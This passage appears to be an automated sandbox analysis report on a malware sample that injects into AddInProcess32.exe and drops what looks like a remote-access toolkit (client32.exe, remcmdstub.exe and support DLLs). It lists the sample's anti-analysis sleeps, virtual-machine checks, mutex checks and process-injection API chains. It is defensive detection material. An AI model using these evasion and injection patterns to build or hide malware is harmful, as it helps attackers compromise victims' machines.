Contains functionality to detect sleep reduction / modifications

Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_6CD491F0		7_2_6CD491F0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_6CD54F30		7_2_6CD54F30

Delayed program exit found

Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_110B7290 Sleep,ExitProcess,		7_2_110B7290
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_110B7290 Sleep,ExitProcess,		9_2_110B7290

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess			graph_4-10745
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Evasive API call chain: CreateMutex,DecisionNodes,Sleep			graph_4-10745

Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Memory allocated: 2500000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Memory allocated: 27A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Memory allocated: 2500000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Memory allocated: 7C40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Memory allocated: 8C40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Memory allocated: 8E10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Memory allocated: 9E10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Memory allocated: A1A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Memory allocated: B1A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Memory allocated: C1A0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

Code function: _memset,LoadLibraryA,GetProcAddress,GetAdaptersInfo,_malloc,GetAdaptersInfo,wsprintfA,_free,FreeLibrary,

7_2_6CD57F80

Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Window / User API: threadDelayed 1724			Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Window / User API: threadDelayed 8132			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\DNScache\mscpx32r.dLL	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\DNScache\msauserext.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\DNScache\netmsg.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\DNScache\mscat32.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\DNScache\remcmdstub.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\DNScache\HTCTL32.DLL	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\DNScache\msvcp140_1.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\DNScache\mscpxl32.dLL	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\DNScache\neth.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\DNScache\AudioCapture.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\DNScache\TCCTL32.DLL	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\DNScache\msvcp140_codecvt_ids.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Evaded block: after key decision	graph_4-11135
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Evaded block: after key decision	graph_7-119350
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Evaded block: after key decision	graph_7-121102
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Evaded block: after key decision	graph_7-121157
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Evaded block: after key decision	graph_7-121507
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Evaded block: after key decision	graph_7-124778
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Evaded block: after key decision	graph_7-125165
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Evaded block: after key decision	graph_7-125419
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Evaded block: after key decision
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Evaded block: after key decision
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Evaded block: after key decision
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Evaded block: after key decision
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Evaded block: after key decision

Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Evasive API call chain: GetLocalTime,DecisionNodes			graph_7-124910

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_7-121457

Source: C:\Users\user\AppData\Local\DNScache\client32.exe	API coverage: 5.4 %
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	API coverage: 2.6 %

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

Code function: 7_2_6CD54F30

7_2_6CD54F30

Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe TID: 6172	Thread sleep time: -28592453314249787s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe TID: 6172	Thread sleep time: -35000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe TID: 6172	Thread sleep time: -34875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe TID: 6172	Thread sleep time: -34765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe TID: 6172	Thread sleep time: -34656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe TID: 6172	Thread sleep time: -34547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe TID: 6172	Thread sleep time: -34437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe TID: 6172	Thread sleep time: -34328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe TID: 6172	Thread sleep time: -34216s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe TID: 6172	Thread sleep time: -34094s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe TID: 6172	Thread sleep time: -33984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe TID: 6172	Thread sleep time: -33872s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe TID: 6172	Thread sleep time: -33750s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe TID: 6172	Thread sleep time: -33640s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe TID: 6172	Thread sleep time: -33531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe TID: 6172	Thread sleep time: -33422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe TID: 6172	Thread sleep time: -33297s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe TID: 6172	Thread sleep time: -33187s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe TID: 6172	Thread sleep time: -33078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe TID: 6172	Thread sleep time: -32968s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe TID: 6172	Thread sleep time: -32845s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe TID: 6172	Thread sleep time: -32719s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe TID: 6172	Thread sleep time: -32609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe TID: 6172	Thread sleep time: -32500s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe TID: 6172	Thread sleep time: -32390s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe TID: 6172	Thread sleep time: -32281s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe TID: 6172	Thread sleep time: -32171s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe TID: 6172	Thread sleep time: -32062s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe TID: 6172	Thread sleep time: -31953s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe TID: 6172	Thread sleep time: -31843s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe TID: 6172	Thread sleep time: -31734s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe TID: 6172	Thread sleep time: -31625s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe TID: 6172	Thread sleep time: -31515s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe TID: 6172	Thread sleep time: -31406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe TID: 6172	Thread sleep time: -31297s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe TID: 6172	Thread sleep time: -31187s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe TID: 6172	Thread sleep time: -31078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe TID: 6172	Thread sleep time: -30968s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe TID: 6172	Thread sleep time: -30859s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe TID: 6172	Thread sleep time: -30750s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe TID: 6172	Thread sleep time: -30640s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe TID: 6172	Thread sleep time: -30531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe TID: 6172	Thread sleep time: -30421s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe TID: 6172	Thread sleep time: -30312s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe TID: 6172	Thread sleep time: -30201s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe TID: 6172	Thread sleep time: -30092s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

Code function: 7_2_6CD53130 GetSystemTime followed by cmp: cmp eax, 02h and CTI: je 6CD53226h

7_2_6CD53130

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_0040F905 FindFirstFileExW,	4_2_0040F905
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_1102D1B3 CloseHandle,_free,_free,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	7_2_1102D1B3
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_11069760 GetTickCount,OpenPrinterA,StartDocPrinterA,ClosePrinter,FindFirstFileA,FindClose,CreateFileA,SetFilePointer,GetTickCount,GetLastError,	7_2_11069760
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_11123690 _memset,_memset,GetVersionExA,GetTempPathA,GetModuleFileNameA,_strrchr,CreateFileA,CreateFileA,WriteFile,CloseHandle,CloseHandle,CreateFileA,GetCurrentProcessId,wsprintfA,CreateProcessA,CloseHandle,CloseHandle,CloseHandle,CreateProcessA,DeleteFileA,Sleep,WaitForSingleObject,CloseHandle,GetCurrentProcess,RemoveDirectoryA,GetLastError,ExitProcess,FindNextFileA,FindClose,FindFirstFileA,GetCurrentProcess,GetCurrentProcess,DuplicateHandle,GetModuleFileNameA,_strrchr,_memmove,GetThreadContext,VirtualProtectEx,WriteProcessMemory,FlushInstructionCache,SetThreadContext,ResumeThread,CloseHandle,CloseHandle,	7_2_11123690
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_11108090 _memset,wsprintfA,wsprintfA,FindFirstFileA,wsprintfA,FindNextFileA,GetLastError,FindClose,	7_2_11108090
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_110BC0E0 GetFileAttributesA,CreateDirectoryA,FindFirstFileA,CopyFileA,CopyFileA,FindNextFileA,FindClose,DrawMenuBar,	7_2_110BC0E0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_1102CE84 Sleep,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	7_2_1102CE84
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_11064EF0 _memset,_memmove,_strncpy,CharUpperA,FindFirstFileA,FindNextFileA,FindClose,wsprintfA,	7_2_11064EF0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_6CE4EFE1 _stat32,__doserrno,_errno,_invalid_parameter_noinfo,_mbspbrk,_errno,__doserrno,_mbctolower,_getdrive,FindFirstFileExA,_mbspbrk,__wfullpath_helper,_strlen,_IsRootUNCName,GetDriveTypeA,free,___loctotime32_t,free,__wsopen_s,__fstat32,_close,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime32_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime32_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime32_t,FindClose,___dtoxmode,GetLastError,__dosmaperr,FindClose,	7_2_6CE4EFE1
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_6CE50F84 _wstat32i64,__doserrno,_errno,_invalid_parameter_noinfo,_wcspbrk,_errno,__doserrno,towlower,_getdrive,FindFirstFileExW,_wcspbrk,_wcslen,GetDriveTypeW,free,___loctotime32_t,free,_wsopen_s,__fstat32i64,_close,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime32_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime32_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime32_t,FindClose,___wdtoxmode,GetLastError,__dosmaperr,FindClose,	7_2_6CE50F84
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_6CE4CA9B _malloc_crt,FindClose,FindFirstFileExW,FindNextFileW,FindClose,	7_2_6CE4CA9B
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_6CE50B33 _wstat64,__doserrno,_errno,_invalid_parameter_noinfo,_wcspbrk,_errno,__doserrno,towlower,_getdrive,FindFirstFileExW,_wcspbrk,_wcslen,GetDriveTypeW,free,___loctotime64_t,free,_wsopen_s,__fstat64,_close,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime64_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime64_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime64_t,FindClose,___wdtoxmode,GetLastError,__dosmaperr,FindClose,	7_2_6CE50B33
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_6CE4C775 _malloc_crt,FindClose,FindFirstFileExA,FindNextFileA,FindClose,	7_2_6CE4C775
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_6CE50702 _wstat32,__doserrno,_errno,_invalid_parameter_noinfo,_wcspbrk,_errno,__doserrno,towlower,_getdrive,FindFirstFileExW,_wcspbrk,_wcslen,GetDriveTypeW,free,___loctotime32_t,free,_wsopen_s,__fstat32,_close,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime32_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime32_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime32_t,FindClose,___wdtoxmode,GetLastError,__dosmaperr,FindClose,	7_2_6CE50702
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_1102CD90 InterlockedIncrement,Sleep,Sleep,GetCurrentProcess,SetPriorityClass,SetEvent,Sleep,PostThreadMessageA,PostThreadMessageA,CloseHandle,_free,_free,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	9_2_1102CD90
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_11069760 GetTickCount,OpenPrinterA,StartDocPrinterA,ClosePrinter,FindFirstFileA,FindClose,CreateFileA,SetFilePointer,GetTickCount,GetLastError,	9_2_11069760
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_11123690 _memset,_memset,GetVersionExA,GetTempPathA,GetModuleFileNameA,_strrchr,CreateFileA,CreateFileA,WriteFile,CloseHandle,CloseHandle,CreateFileA,GetCurrentProcessId,wsprintfA,CreateProcessA,CloseHandle,CloseHandle,CloseHandle,CreateProcessA,DeleteFileA,Sleep,WaitForSingleObject,CloseHandle,GetCurrentProcess,RemoveDirectoryA,GetLastError,ExitProcess,FindNextFileA,FindClose,FindFirstFileA,GetCurrentProcess,GetCurrentProcess,DuplicateHandle,GetModuleFileNameA,_strrchr,_memmove,GetThreadContext,VirtualProtectEx,WriteProcessMemory,FlushInstructionCache,SetThreadContext,ResumeThread,CloseHandle,CloseHandle,	9_2_11123690
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_11108090 _memset,wsprintfA,wsprintfA,KillTimer,FindFirstFileA,wsprintfA,FindNextFileA,GetLastError,FindClose,	9_2_11108090
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_110BC0E0 GetFileAttributesA,CreateDirectoryA,FindFirstFileA,CopyFileA,CopyFileA,FindNextFileA,FindClose,DrawMenuBar,	9_2_110BC0E0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_11064EF0 _memset,_memmove,_strncpy,CharUpperA,FindFirstFileA,FindNextFileA,FindClose,wsprintfA,	9_2_11064EF0

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

Code function: 7_2_6CE76C74 _resetstkoflw,VirtualQuery,GetSystemInfo,GetModuleHandleW,GetProcAddress,VirtualAlloc,VirtualProtect,

7_2_6CE76C74

Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Thread delayed: delay time: 35000	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Thread delayed: delay time: 34875	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Thread delayed: delay time: 34765	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Thread delayed: delay time: 34656	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Thread delayed: delay time: 34547	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Thread delayed: delay time: 34437	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Thread delayed: delay time: 34328	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Thread delayed: delay time: 34216	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Thread delayed: delay time: 34094	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Thread delayed: delay time: 33984	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Thread delayed: delay time: 33872	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Thread delayed: delay time: 33750	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Thread delayed: delay time: 33640	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Thread delayed: delay time: 33531	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Thread delayed: delay time: 33422	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Thread delayed: delay time: 33297	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Thread delayed: delay time: 33187	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Thread delayed: delay time: 33078	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Thread delayed: delay time: 32968	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Thread delayed: delay time: 32845	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Thread delayed: delay time: 32719	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Thread delayed: delay time: 32609	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Thread delayed: delay time: 32500	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Thread delayed: delay time: 32390	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Thread delayed: delay time: 32281	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Thread delayed: delay time: 32171	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Thread delayed: delay time: 32062	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Thread delayed: delay time: 31953	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Thread delayed: delay time: 31843	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Thread delayed: delay time: 31734	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Thread delayed: delay time: 31625	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Thread delayed: delay time: 31515	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Thread delayed: delay time: 31406	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Thread delayed: delay time: 31297	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Thread delayed: delay time: 31187	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Thread delayed: delay time: 31078	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Thread delayed: delay time: 30968	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Thread delayed: delay time: 30859	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Thread delayed: delay time: 30750	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Thread delayed: delay time: 30640	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Thread delayed: delay time: 30531	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Thread delayed: delay time: 30421	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Thread delayed: delay time: 30312	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Thread delayed: delay time: 30201	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Thread delayed: delay time: 30092	Jump to behavior

Source: HTCTL32.DLL.4.dr	Binary or memory string: VMware
Source: Jjv9ha2GKn.exe, 00000000.00000002.2759945326.00000000051E0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: VBoxTray
Source: HTCTL32.DLL.4.dr	Binary or memory string: hbuf->datahttputil.c%5d000000000002004C4F4F50VirtualVMwareVIRTNETGetAdaptersInfoiphlpapi.dllcbMacAddress == MAX_ADAPTER_ADDRESS_LENGTHmacaddr.cpp,%02x%02x%02x%02x%02x%02x* Netbiosnetapi32.dll01234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZwhoa nelly, says Sherman, the Sharkhellooo nurse!kernel32.dllProcessIdToSessionId%s_L%d_%xNOT copied to diskcopied to %sAssert failed - Unhandled Exception (GPF) -
Source: TCCTL32.DLL.4.dr	Binary or memory string: skt%dWSAIoctlclosesocketsocketWSACleanupWSAStartupws2_32.dllGetAdaptersInfoIPHLPAPI.DLLVMWarevirtGetAdaptersAddressesVMWarevirtntohlTCREMOTETCBRIDGE%s=%s
Source: AddInProcess32.exe, 00000004.00000002.2880341312.0000000001028000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWho
Source: AddInProcess32.exe, 00000004.00000002.2880341312.000000000108F000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000007.00000003.3181897720.0000000003349000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000007.00000003.3182026604.000000000335E000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000007.00000003.2887216359.0000000003349000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000007.00000002.3303151526.00000000032EA000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000007.00000002.3303309290.000000000337D000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000007.00000003.2887050426.00000000032CB000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000007.00000002.3301652835.000000000047E000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000007.00000003.3181897720.00000000032EA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: HTCTL32.DLL.4.dr	Binary or memory string: plist<T> too longp.secondQueueQueueThreadEventidata->Q.size () == 0p < ep%dWSAIoctlclosesocketsocketWSACleanupWSAStartupws2_32.dllIPHLPAPI.DLLVMWarevirtGetAdaptersAddressesVMWarevirtntohlWinHttpCloseHandleWinHttpGetProxyForUrlNS247WinHttpOpenWinHttpGetIEProxyConfigForCurrentUserwinhttp.dllc != '\0'dstbufyenc.cla
Source: HTCTL32.DLL.4.dr	Binary or memory string: VMWare
Source: AddInProcess32.exe, 00000004.00000002.2880341312.0000000001063000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\'
Source: client32.exe, 00000009.00000003.2889076833.00000000004FF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllC
Source: Jjv9ha2GKn.exe, 00000000.00000002.2759945326.00000000051E0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: 2051979379GSOFTWARE\VMware, Inc.\VMware VGAuth

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	API call chain: ExitProcess graph end node	graph_4-11183
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	API call chain: ExitProcess graph end node	graph_7-119575
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	API call chain: ExitProcess graph end node	graph_7-119073
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	API call chain: ExitProcess graph end node

